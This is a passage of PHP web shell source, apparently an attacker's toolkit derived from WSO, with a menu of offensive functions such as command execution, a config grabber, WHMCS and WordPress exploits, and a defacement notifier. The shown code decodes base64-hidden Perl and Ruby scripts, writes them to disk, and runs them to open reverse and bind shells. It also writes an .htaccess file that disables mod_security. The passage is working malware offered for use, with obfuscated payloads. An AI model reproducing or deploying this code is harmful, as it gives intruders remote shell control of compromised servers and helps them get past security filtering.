3236if(@$_POST['p1'] == 'loadfile') {
3237$file = $db->loadFile($_POST['p2']);
3238echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
3239}
3240} else {
3241echo htmlspecialchars($db->error());
3242}
3243echo '</div>';
3244wsoFooter();
3245}
3246
3247if(isset($_GET['action']) && $_GET['action'] == 'beko'){
3248echo '<center><b class="conte">
3249<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
3250<a href="?action=cmd">Command Execution</a> -
3251<a href="?action=com64">Base64 Command</a> -
3252<a href="?action=vgrab">Config Grabber</a> -
3253<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
3254<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
3255<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
3256<a href="?action=cari">Find Directory Writable/Readable</a> -
3257<a href="?action=zonh">Zone-h Notifier</a> -
3258<a href="?action=shhhshell">Shtml Command Shell</a> -
3259<a href="?action=beko">Back connect Simple</a> -
3260<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
3261<a href="?action=prlbckacnonect">Perl BackConnect</a> -
3262<a href="?action=pythnonbakcncete">Python BackConnect</a> -
3263<a href="?action=exploit">Exploit</a> -
3264<a href="?action=whmcskillrer">Whcms Killer</a> -
3265<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
3266<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
3267</center>
3268</b>';
3269echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Back Connect</span><center><br>';
3270if ($_REQUEST['cdirname']){
3271if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}
3272function bcn($ipbc,$pbc){
3273$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
3274NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
3275MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
3276dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
3277IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
3278YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
3279LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
3280KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
3281KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
3282IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
3283ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
3284$opbc=fopen("bcc.pl","w");
3285fwrite($opbc,base64_decode($bcperl));
3286fclose($opbc);
3287system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
3288}
3289function wbp($wb){
3290$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
3291cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
3292a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
3293ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
3294IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
3295IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
3296VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
3297VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
3298$opwb=fopen("wbp.pl","w");
3299fwrite($opwb,base64_decode($wbp));
3300fclose($opwb);
3301echo getcwd();
3302system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
3303}
3304function lbp($wb){
3305$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
3306YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
3307U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
3308VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
3309QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
3310dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
3311b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
3312Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
3313$oplb=fopen("lbp.pl","w");
3314fwrite($oplb,base64_decode($lbp));
3315fclose($oplb);
3316system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
3317}
3318
3319if($_REQUEST['portbw']){
3320wbp($_REQUEST['portbw']);
3321
3322}if($_REQUEST['portbl']){
3323lbp($_REQUEST['portbl']);
3324}
3325if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
3326bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);
3327
3328}
3329echo "<p align='center'><font face='Tahoma' color='#007700' size='2pt' /><p align='center'><br>Ip : <input type=text name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input type=text name=portbc value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'><p align='center'><br><font face='Tahoma' color='#009900' size='2pt'> Windows Bind Port</font> <br>Port : <input type=text name=portbw value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'> <br><font face='Tahoma' color='#009900' size='2pt'>Linux Bind Port</font> <br>Port : <input type=text name=portbl value=5555> <input type=submit value=Connect></form><br><br>".$end;exit;
3330}
3331if(isset($_GET['action']) && $_GET['action'] == 'rubybckconnnect'){
3332echo '<center><b class="conte">
3333<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
3334<a href="?action=cmd">Command Execution</a> -
3335<a href="?action=com64">Base64 Command</a> -
3336<a href="?action=vgrab">Config Grabber</a> -
3337<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
3338<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
3339<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
3340<a href="?action=cari">Find Directory Writable/Readable</a> -
3341<a href="?action=zonh">Zone-h Notifier</a> -
3342<a href="?action=shhhshell">Shtml Command Shell</a> -
3343<a href="?action=beko">Back connect Simple</a> -
3344<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
3345<a href="?action=prlbckacnonect">Perl BackConnect</a> -
3346<a href="?action=pythnonbakcncete">Python BackConnect</a> -
3347<a href="?action=exploit">Exploit</a> -
3348<a href="?action=whmcskillrer">Whcms Killer</a> -
3349<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
3350<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
3351</center>
3352</b>';
3353mkdir('rubrub', 0755);
3354chdir('rubrub');
3355$antinoooob = ".htaccess";
3356$morethannn = "$antinoooob";
3357$diamondd = fopen ($morethannn , 'w') or die ("diamondd açılamadı!");
3358$gloryr = "<IfModule mod_security.c>
3359SecFilterEngine Off
3360SecFilterScanPOST Off
3361</IfModule>";
3362fwrite ( $diamondd , $gloryr ) ;
3363fclose ($diamondd);
3364//extract ruby reverse script
3365$vkffhd = 'cmVxdWlyZSAnc29ja2V0Jw0KcmVxdWlyZSAncGF0aG5hbWUnDQogDQpkZWYgdXNhZ2UNCiAgICAgICAgcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KICAgICAgICBwcmludCAicmV2ZXJzZSA6XHJcbiAgcnVieSAiICsgRmlsZS5iYXNlbmFtZShfX0ZJTEVfXykgKyAiIFtwb3J0XSBbaG9zdF1cclxuIg0KZW5kDQogDQpkZWYgc3Vja3MNCiAgICAgICAgc3Vja3MgPSBmYWxzZQ0KICAgICAgICBpZiBSVUJZX1BMQVRGT1JNLmRvd25jYXNlLm1hdGNoKCdtc3dpbnx3aW58bWluZ3cnKQ0KICAgICAgICAgICAgICAgIHN1Y2tzID0gdHJ1ZQ0KICAgICAgICBlbmQNCiAgICAgICAgcmV0dXJuIHN1Y2tzDQplbmQNCiANCmRlZiByZWFscGF0aChzdHIpDQogICAgICAgIHJlYWwgPSBzdHINCiAgICAgICAgaWYgRmlsZS5leGlzdHM/KHN0cikNCiAgICAgICAgICAgICAgICBkID0gUGF0aG5hbWUubmV3KHN0cikNCiAgICAgICAgICAgICAgICByZWFsID0gZC5yZWFscGF0aC50b19zDQogICAgICAgIGVuZA0KICAgICAgICBpZiBzdWNrcw0KICAgICAgICAgICAgICAgIHJlYWwgPSByZWFsLmdzdWIoL1wvLywiXFwiKQ0KICAgICAgICBlbmQNCiAgICAgICAgcmV0dXJuIHJlYWwNCmVuZA0KIA0KaWYgQVJHVi5sZW5ndGggPT0gMQ0KICAgICAgICBpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQogICAgICAgICAgICAgICAgcG9ydCA9IEludGVnZXIoQVJHVlswXSkNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHVzYWdlDQogICAgICAgICAgICAgICAgcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCiAgICAgICAgICAgICAgICBleGl0DQogICAgICAgIGVuZA0KICAgICAgICBzZXJ2ZXIgPSBUQ1BTZXJ2ZXIubmV3KCIiLCBwb3J0KQ0KICAgICAgICBzID0gc2VydmVyLmFjY2VwdA0KICAgICAgICBwb3J0ID0gcy5wZWVyYWRkclsxXQ0KICAgICAgICBuYW1lID0gcy5wZWVyYWRkclsyXQ0KICAgICAgICBzLnByaW50ICIqKiogY29ubmVjdGVkXHJcbiINCiAgICAgICAgcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQogICAgICAgIGJlZ2luDQogICAgICAgICAgICAgICAgaWYgbm90IHN1Y2tzDQogICAgICAgICAgICAgICAgICAgICAgICBmID0gcy50b19pDQogICAgICAgICAgICAgICAgICAgICAgICBleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICBzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIGxpbmUgPSBzLmdldHMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyrbQvDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIG5vdCBsaW5lLmNob21wID09ICIiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgbGluZSA9fiAvY2QgLiovaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUgPSByZWFscGF0aChsaW5lKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEaXIuY2hkaXIobGluZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzaWYgbGluZSA9fiAvXHc6LiovaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUuY2hvbXApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpci5jaGRpcihsaW5lLmNob21wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJTy5wb3BlbihsaW5lLCJyIil7fGlvfHMucHJpbnQgaW8ucmVhZCArICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiJ9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgZW5kDQogICAgICAgICAgICAgICAgZW5kDQogICAgICAgIHJlc2N1ZSBlcnJvckJybw0KICAgICAgICAgICAgICAgIHB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KICAgICAgICBlbnN1cmUNCiAgICAgICAgICAgICAgICBzLmNsb3NlDQogICAgICAgICAgICAgICAgcyA9IG5pbA0KICAgICAgICBlbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCiAgICAgICAgaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KICAgICAgICAgICAgICAgIHBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQogICAgICAgICAgICAgICAgaG9zdCA9IEFSR1ZbMV0NCiAgICAgICAgZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KICAgICAgICAgICAgICAgIHBvcnQgPSBJbnRlZ2VyKEFSR1ZbMV0pDQogICAgICAgICAgICAgICAgaG9zdCA9IEFSR1ZbMF0NCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHVzYWdlDQogICAgICAgICAgICAgICAgcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCiAgICAgICAgICAgICAgICBleGl0DQogICAgICAgIGVuZA0KICAgICAgICBzID0gVENQU29ja2V0Lm5ldygiI3tob3N0fSIsIHBvcnQpDQogICAgICAgIHBvcnQgPSBzLnBlZXJhZGRyWzFdDQogICAgICAgIG5hbWUgPSBzLnBlZXJhZGRyWzJdDQogICAgICAgIHMucHJpbnQgIioqKiBjb25uZWN0ZWRcclxuIg0KICAgICAgICBwdXRzICIqKiogY29ubmVjdGVkIDogI3tuYW1lfToje3BvcnR9Ig0KICAgICAgICBiZWdpbg0KICAgICAgICAgICAgICAgIGlmIG5vdCBzdWNrcw0KICAgICAgICAgICAgICAgICAgICAgICAgZiA9IHMudG9faQ0KICAgICAgICAgICAgICAgICAgICAgICAgZXhlYyBzcHJpbnRmKCIvYmluL3NoIC1pIFw8XCYlZCBcPlwmJWQgMlw+XCYlZCIsIGYsIGYsIGYpDQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSBsaW5lID0gcy5nZXRzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJhaXNlIGVycm9yQnJvIGlmIGxpbmUgPX4gL15kaWVccj8kLw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIGxpbmUgPX4gL2NkIC4qL2kNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUgPSBsaW5lLmdzdWIoL2NkIC9pLCAnJykuY2hvbXANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIEZpbGUuZGlyZWN0b3J5rbhsaW5lKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lID0gcmVhbHBhdGgobGluZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRGlyLmNoZGlyKGxpbmUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIEZpbGUuZGlyZWN0b3J5rbhsaW5lLmNob21wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEaXIuY2hkaXIobGluZS5jaG9tcCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbmQNCiAgICAgICAgICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICAgICAgICAgIGVuZA0KICAgICAgICByZXNjdWUgZXJyb3JCcm8NCiAgICAgICAgICAgICAgICBwdXRzICIqKiogI3tuYW1lfToje3BvcnR9IGRpc2Nvbm5lY3RlZCINCiAgICAgICAgZW5zdXJlDQogICAgICAgICAgICAgICAgcy5jbG9zZQ0KICAgICAgICAgICAgICAgIHMgPSBuaWwNCiAgICAgICAgZW5kDQplbHNlDQogICAgICAgIHVzYWdlDQogICAgICAgIGV4aXQNCmVuZA==';
3366
3367$cvcvcv = fopen("revbackk.rb" ,"w+");
3368$write = fwrite ($cvcvcv ,base64_decode($vkffhd));
3369fclose($cvcvcv);
3370chmod("revbackk.rb",0755);
3371
3372//extract php command shell
3373$merdeeeee = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBSdWJ5IEJhY2sgQ29ubmVjdCBTaGVsbDwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQtY29sb3I6ICMyMjIyMjIgIWltcG9ydGFudDsgY29sb3I6ICMwMDk5MDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7fSAgICAgIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7IGZvbnQtZmFtaWx5OiBUYWhvbWEsIEdlbmV2YTsgY29sb3I6IzAwNzcwMDsgcGFkZGluZzoycHggMnB4O30gICAgICBhOmhvdmVye2NvbG9yOiMwMDk5MDA7IHRleHQtc2hhZG93OiMwMGZmMDAgMHB4IDBweCAzcHg7fQkgIC5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9CSAgaW5wdXRbdHlwZT1zdWJtaXRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NzA7ICBmb250LXdlaWdodDogYm9sZDsgdGV4dC1hbGlnbjogY2VudGVyOyAgdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsgIGJhY2tncm91bmQ6ICNhZWFlYWU7ICBiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94OyAgYm9yZGVyOiAxcHggc29saWQgIzI4NDQ3MzsgIGJvcmRlci1ib3R0b20tY29sb3I6ICMyMjNiNjY7ICBib3JkZXItcmFkaXVzOiA0cHg7ICBjdXJzb3I6IHBvaW50ZXI7ICBiYWNrZ3JvdW5kLWltYWdlOi13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZWFlYWVhLCAjZDBkMGQwKTsgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7ICBib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgfSBpbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDt9IGlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7fSBzZWxlY3R7IHBhZGRpbmc6IDNweDsgd2lkdGg6IDE2MnB4OyBjb2xvcjogIzAwYWEwMDsgdGV4dC1zaGFkb3c6IzAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwYWEwMDsgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7fSBzZWxlY3Q6aG92ZXJ7IGJvcmRlcjogMXB4IHNvbGlkICMwMGRkMDA7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGRkMDA7ICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gICAjY29tbWFuZHN7IG1hcmdpbi1sZWZ0OiAzNTBweDsgbWFyZ2luLXJpZ2h0OiAzNTBweDsgfSBvcHRpb257IGNvbG9yOiAjNzc3Nzc3OyB9PC9zdHlsZT4NCjw/cGhwDQplY2hvICc8YnI+PGNlbnRlcj48Yj48Zm9udCBjb2xvcj0iIzAwNzcwMCIgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij5Db21tYW5kOiBydWJ5ICcuZ2V0Y3dkKCkuJy9yZXZiYWNray5yYiBwb3J0IGhvc3Q8L2ZvbnQ+PC9iPjxjZW50ZXI+PGJyPic7DQplY2hvICc8Zm9udCBmYWNlPSJUYWhvbWEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjIiIGNvbG9yPSJncmVlbiI+IENvZGVkIEJ5IE1hdXJpdGFuaWEgQXR0YWNrZXIgPC9mb250Pic7DQplY2hvJzxwIGFsaWduPSJjZW50ZXIiPiA8aW1nIHNyYz0iaHR0cHM6Ly93d3ctdHJvcG8tY29tLnMzLmFtYXpvbmF3cy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTAvMDgvcnVieS1sb2dvLTUxMjEucG5nIiAgd2lkdGg9IjE3NCIgaGVpZ2h0PSIyMDAiID48L3A+DQo8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0i